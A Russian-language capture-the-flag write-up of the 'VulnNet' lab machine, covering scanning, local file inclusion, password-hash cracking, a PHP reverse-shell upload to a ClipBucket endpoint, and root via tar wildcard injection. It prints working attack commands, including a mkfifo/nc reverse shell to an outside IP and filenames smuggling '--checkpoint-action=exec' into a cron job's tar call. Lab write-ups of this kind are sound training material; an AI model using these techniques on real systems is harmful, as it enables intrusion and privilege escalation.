# Vulnnet Команда: Лепеха Состав команды: * Леха ## 10.10.80.238 ### Сбор информации Перед началом тестирования на проникновение требуется определить объём тестов и условия проведения анализа. В ходе сбора информации о целевых устройствах были определены следующие IP-адреса: * 10.10.80.238 ### Сервисы | Порт | Сервис | Версия | | ---- | ------ | ------ | | 22 | ssh | OpenSSH 7.6p1 | | 80 | http | Apache httpd 2.4.29 | ``` # Nmap 7.93 scan initiated Thu Jan 12 19:07:45 2023 as: nmap -sC -sV -v -T4 -oN scan-fast 10.10.80.238 Increasing send delay for 10.10.80.238 from 0 to 5 due to 109 out of 271 dropped probes since last increase. Increasing send delay for 10.10.80.238 from 5 to 10 due to 13 out of 32 dropped probes since last increase. Nmap scan report for 10.10.80.238 Host is up (0.11s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 eac9e867760a3f9709a7d7a663adc12c (RSA) | 256 0fc8f6d38e4cea67476884dc1c2b2e34 (ECDSA) |_ 256 055399fc9810b5c368006c2941daa5c9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-favicon: Unknown favicon MD5: 8B7969B10EDA5D739468F4D3F2296496 |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: VulnNet Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Jan 12 19:08:17 2023 -- 1 IP address (1 host up) scanned in 32.15 seconds ``` Проверив разные endpoint-ы с помощью gobuster не нашел ничего интересного. Пока gobuster перебирал варианты, я решил проверить саму страничку, на ней же была активна только login-page, и то оно было заглушкой ## Проникновение ![](https://i.imgur.com/RKwtpBq.png) Но я заметил, что сайт загружает два непонятных js файла, в одном из них была строчка, указывающая, что на index.php есть параметр ``` http://vulnnet.thm/index.php?referer= ``` Перебрав разные варианты, я нашел LFI, подставив "/etc/passwd" в параметр ![](https://i.imgur.com/2rRWbzT.png) ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin lightdm:x:106:113:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:107:117::/nonexistent:/bin/false kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin pulse:x:109:119:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin avahi:x:110:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin hplip:x:111:7:HPLIP system user,,,:/var/run/hplip:/bin/false server-management:x:1000:1000:server-management,,,:/home/server-management:/bin/bash mysql:x:112:123:MySQL Server,,,:/nonexistent:/bin/false sshd:x:113:65534::/run/sshd:/usr/sbin/nologin ``` Отсюда можно выцепить, что есть юзер ***server-management*** Дальше, т.к. там висит Apache, я проверил conf-файлы и наткнулся на это ``` <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName vulnnet.thm DocumentRoot /var/www/main ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined <Directory /var/www/main> Order allow,deny allow from all </Directory> </VirtualHost> <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName broadcast.vulnnet.thm DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined <Directory /var/www/html> Order allow,deny allow from all AuthType Basic AuthName "Restricted Content" AuthUserFile /etc/apache2/.htpasswd Require valid-user </Directory> </VirtualHost> ``` Я нашел второй поддомен ***broadcast.vulnnet.thm*** А эта строка `AuthUserFile /etc/apache2/.htpasswd` показывает, что креды от юзера хранятся в файле **/etc/apache2/.htpasswd** Проверив его, нашел `developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0` Расчехляем john ``` john hz.txt --wordlist=Tools/infosec/rockyou.txt ``` и получаем пароль `9972761drmfsls` попытавшись залогиниться по ssh получаем ошибку и идем на http://broadcast.vulnnet.thm/index.php ![](https://i.imgur.com/QpUNb7B.png) Пошарившись по сайту не нашел ничего интересного и пошел на https://www.exploit-db.com/ с запросом по clipbucket Нашел https://www.exploit-db.com/exploits/44250, попробовал command injection, но оно не сработало, хотя ошибку не выдавало, далее я попробовал закинуть файл черезh http://broadcast.vulnnet.thm/actions/beats_uploader.php ```bash curl -H "Authorization: Basic ZGV2ZWxvcGVyczo5OTcyNzYxZHJtZnNscw==" -F "file=@revshell.php" -F "plupload=1" -F "name=revshell.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php" ``` ```json creating file { "success":"yes", "file_name":"1673543904004709", "extension":"php", "file_directory":"CB_BEATS_UPLOAD_DIR" } ``` Мой файл был сохранен в `CB_BEATS_UPLOAD_DIR` под именем `1673543904004709.php`, у меня составило некоторые трудности найти путь до файла, но пара запросов в гугл и ответ у меня в руках, идем смотреть http://broadcast.vulnnet.thm/actions/CB_BEATS_UPLOAD_DIR/1673543904004709.php revshell с https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php работает, запускаем прослушку и после этого наш php ```bash nc -lvnp 9090 Connection from 10.10.80.238:57108 Linux vulnnet 4.15.0-134-generic #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 18:22:42 up 1:18, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ ``` Поймали соединение ## Повышение прав до юзера ![](https://i.imgur.com/jNobEUR.png) Сейчас мы www-data, прав как таковых у нас нет, но исправить это не очень сложно Первым делом для удобства я прописал себе нормальный шел ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm ``` Попробовав некоторые базовые приемы и не получив результат, полез в бэкап файлы, где лежал бэкап ssh пользователя server-manager ```bash www-data@vulnnet:/var/backups$ ls -laht ls -laht total 2.3M -rw-r--r-- 1 root root 49K Jan 12 18:34 vulnnet-Thursday.tgz drwxr-xr-x 2 root root 4.0K Jan 12 17:09 . -rw-r--r-- 1 root root 49K Jan 25 2021 vulnnet-Monday.tgz -rw-r--r-- 1 root root 1.4M Jan 25 2021 dpkg.status.0 -rw-rw-r-- 1 server-management server-management 1.5K Jan 24 2021 ssh-backup.tar.gz -rw------- 1 root shadow 1.1K Jan 23 2021 shadow.bak -rw------- 1 root shadow 712 Jan 23 2021 gshadow.bak -rw------- 1 root root 857 Jan 23 2021 group.bak -rw-r--r-- 1 root root 378K Jan 23 2021 dpkg.status.1.gz -rw------- 1 root root 1.8K Jan 23 2021 passwd.bak -rw-r--r-- 1 root root 14K Jan 23 2021 apt.extended_states.0 -rw-r--r-- 1 root root 265 Jan 23 2021 dpkg.statoverride.0 -rw-r--r-- 1 root root 195 Jan 23 2021 dpkg.statoverride.1.gz drwxr-xr-x 14 root root 4.0K Jan 23 2021 .. -rw-r--r-- 1 root root 50K Jan 23 2021 alternatives.tar.0 -rw-r--r-- 1 root root 280 Jan 23 2021 dpkg.diversions.0 -rw-r--r-- 1 root root 160 Jan 23 2021 dpkg.diversions.1.gz -rw-r--r-- 1 root root 160 Jan 23 2021 dpkg.diversions.2.gz -rw-r--r-- 1 root root 358K Jan 23 2021 dpkg.status.2.gz -rw-r--r-- 1 root root 179 Jan 23 2021 dpkg.statoverride.2.gz -rw-r--r-- 1 root root 11 Jan 23 2021 dpkg.arch.0 -rw-r--r-- 1 root root 43 Jan 23 2021 dpkg.arch.1.gz -rw-r--r-- 1 root root 43 Jan 23 2021 dpkg.arch.2.gz ``` скопировал ssh-backup.tar.gz в /tmp и распаковал ```bash www-data@vulnnet:/$ cp /var/backups/ssh-backup.tar.gz /tmp/ www-data@vulnnet:/$ cd /tmp/ www-data@vulnnet:/tmp$ gunzip ssh-backup.tar.gz www-data@vulnnet:/tmp$ tar -xvf ssh-backup.tar id_rsa ``` Потом сохранил файл к себе на компьютер и попробовал подконнектиться по ssh, но меня остановила просьба passphrase. ![](https://i.imgur.com/FNcc82p.png) далее с помощью ssh2john и john я нашел пароль ```bash ╭─alex@Gera ~/infosec/HTM/vulnnet ╰─➤ john john.hash --wordlist=~/Tools/infosec/rockyou.txt Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl" Use the "--format=ssh-opencl" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 8 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status oneTWO3gOyac (id_rsa) Warning: Only 1 candidate left, minimum 8 needed for performance. 1g 0:00:00:07 DONE (2023-01-12 21:05) 0.1358g/s 1948Kp/s 1948Kc/s 1948KC/s *7¡Vamos! Session completed ``` и наконец подключился под server-manager к серверу c паролем `oneTWO3gOyac` ![](https://i.imgur.com/rM0vUS8.png) (И тут у меня упала машина) ## Получение root-прав Полазив по системе увидел папку **.mozila** ![](https://i.imgur.com/Liv4CXR.png) Мозила обычно хранит креды, которые можно достать с помощью [этой](https://github.com/Unode/firefox_decrypt) тулзы, что я и попробовал сделать, к сожалению она была пустой, потом я наткнулся на crontab ```bash! server-management@vulnnet:/etc$ cat crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */2 * * * * root /var/opt/backupsrv.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # ``` Каждые две минуты оно запускает какой-то бэкап скрипт, который мы не можем менять ```bash -rwxr--r-- 1 root root 530 Jan 23 2021 backupsrv.sh ``` содержимое backupsrv.sh: ```bash! #!/bin/bash # Where to backup to. dest="/var/backups" # What to backup. cd /home/server-management/Documents backup_files="*" # Create archive filename. day=$(date +%A) hostname=$(hostname -s) archive_file="$hostname-$day.tgz" # Print start status message. echo "Backing up $backup_files to $dest/$archive_file" date echo # Backup the files using tar. tar czf $dest/$archive_file $backup_files # Print end status message. echo echo "Backup finished" date # Long listing of files in $dest to check file sizes. ls -lh $dest ``` Этот скрипт запускает tar на все файлы в **/home/server-management/Documents** =>. Немного почитав про tar, я нашел такую вещь, как [checkpoints](https://www.gnu.org/software/tar/manual/html_section/checkpoints.html) и их [уязвимость](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/) ```bash! server-management@vulnnet:~/Documents$ ls 'Daily Job Progress Report Format.pdf' 'Employee Search Progress Report.pdf' server-management@vulnnet:~/Documents$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.33.254 9001 >/tmp/f" > shell.sh server-management@vulnnet:~/Documents$ echo "" > "--checkpoint-action=exec=sh shell.sh" server-management@vulnnet:~/Documents$ echo "" > --checkpoint=1 server-management@vulnnet:~/Documents$ ``` написав простой revshell записал его в shell.sh и подождав две минуты получил shell от рута ![](https://i.imgur.com/ogTnS75.png)